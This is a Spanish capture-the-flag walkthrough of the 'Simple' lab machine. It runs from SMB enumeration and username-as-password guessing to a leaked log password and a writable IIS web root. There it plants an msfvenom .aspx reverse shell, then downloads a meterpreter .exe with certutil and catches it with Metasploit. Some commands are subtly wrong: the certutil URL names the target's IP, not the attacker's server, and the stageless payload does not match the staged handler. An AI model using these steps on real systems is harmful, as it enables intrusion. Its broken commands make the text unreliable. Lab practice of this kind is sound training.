> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/ejpt-xerosec/4.-simple.md).

# 4. SIMPLE

### WEB

La máquina objetivo corre un sitio web pero no hay nada relevante a primera vista, mas alla de unos posibles nombres de usuarios, los cuales guardamos en un fichero por si nos sirven para mas adelante.

### SMB

Intentamos enumerar recursos compartidos smb usando una NULL SESSION

```
netexec smb 10.0.2.7 -u "" -p "" --shares
```

En este caso veremos que no podemos enumerar recursos de esa forma, necesitamos credenciales válidas.

Así que probamos con los posibles nombres de usuario que guardamos antes, como no tenemos posibles contraseñas, podemos hacer uso de un dicccionario como rockyou.txt o usar los posibles nombres de usuario también como posibles contraseñas. En este caso haremos lo segundo.

Enumeración de recursos compartidos smb a través de un ataque de diccionario.

```bash
netexec smb 10.0.2.7 -u users.txt -p users.txt --shares
```

Encontramos que el usuario bogo tiene como contraseña su mismo nombre. Además en la enumeración de los shares vemos que el usuario bogo tiene permiso de LECTURA (READ) en el share LOGS.

Nos conectamos al share con smbclient:

```bash
smbclient //10.0.2.7/LOGS -U bogo
```

Dentro encontramos un log, lo descargamos en nuestra máquina para ver que contiene.

En el log se filtra la contraseña del usuario marcos al este conectarse al share WEB, el share WEB parece ser la raíz del sitio web.

Enumeramos los shares como el usuario marcos:

```bash
netexec smb 10.0.2.7 -u marcos -p [password] --shares
```

Y vemos que para el share WEB el usuario marcos tiene permisos de LECTURA Y ESCRITURA (READ, WRITE), asi que nos conectamos al share WEB como el usuario marcos.

```bash
smbclient //10.0.2.7/WEB -U marcos
```

Para confirmar que estamos en la raiz del sitio web podemos subir un fichero simple desde nuestra máquina local al recurso smb.

```bash
put hola.txt
```

Y en efecto es asi, entonces esto significa que podemos subir un fichero malicioso que al consultarlo en el navegador el servidor lo interprete obteniendo asi una shell reversa.

Como el servidor web es un IIS, tenemos que subir un fichero .aspx

Asi que usaremos msfvenom para crear una reverse shell .aspx, desde revshells.com podemos obtener la sintaxis necesaria para lograr el cometido.

{% embed url="<https://www.revshells.com/>" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.3 LPORT=1234 -f aspx -o reverse.aspx
```

Subimos la el fichero aspx a la raiz de la web:

```bash
put reverse.aspx
```

Ahora nos ponemos a la escucha con netcat y consultamos el recurso malicioso en el navegador

```bash
nc -lnvp 1234
```

Y como resultado obtendremos una shell reversa.

Sin embargo lo que haremos sera obtener una shell de tipo meterpreter usando msf, pero primero tenemos que crear otro fichero malicioso, en este caso será un archivo .exe.

```bash
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.2.3 LPORT=1234 -f exe -o reverse.exe
```

Lo que haremos es montar un servidor web simple con python3 y desde la máquina objetivo descargar el fichero malicioso que estaría accesible desde el servidor python.

```bash
python3 -m http.server 8080
```

Desde la shell de Windows nos dirigimos al directorio Public desde donde podremos descargar y ejecutar el reverse.exe sin preocuparnos por los permisos.

```powershell
cd c:\Users\Public\Downloads
```

Y con la herramienta certuitil.exe obtenemos/descargamos/solicitamos el fichero reverse.exe desde el servidor python montado anteriormente.

```powershell
certutil.exe -f -urlcache http://10.0.2.7:8080/reverse.exe
```

Una vez hecho eso ya podemos apagar el servidor web con python.

Ahora con el módulo de escucha multi/handler nos ponemos a la escucha para recibir la shell reversa.

```bash
use exploit/multi/handler
```

Seteamos las opciones:

```bash
set lhost 10.0.2.3
set lport 1234
```

El payload que va a usar el módulo tiene que ser el mismo con el que creamos el fichero malicioso .exe con msfvenom, es decir, el payload de tipo meterpreter.

```bash
set payload windows/x64/meterpreter/reverse_tcp
```

Lo ejecutamos:

```bash
exploit
```

Y desde la shell del Windows comprometido ejecutamos el fichero .exe

```
.\reverse.exe
```

Y de esta forma habremos obtenido una shell reversa de tipo meterpreter.

***

{% embed url="<https://dise0.gitbook.io/h4cker_b00k/ctf/hackmyvm/simple-hackmyvm-easy-windows>" %}

{% embed url="<https://netwerklabs.com/cheat-sheet-smb-attacks/>" %}
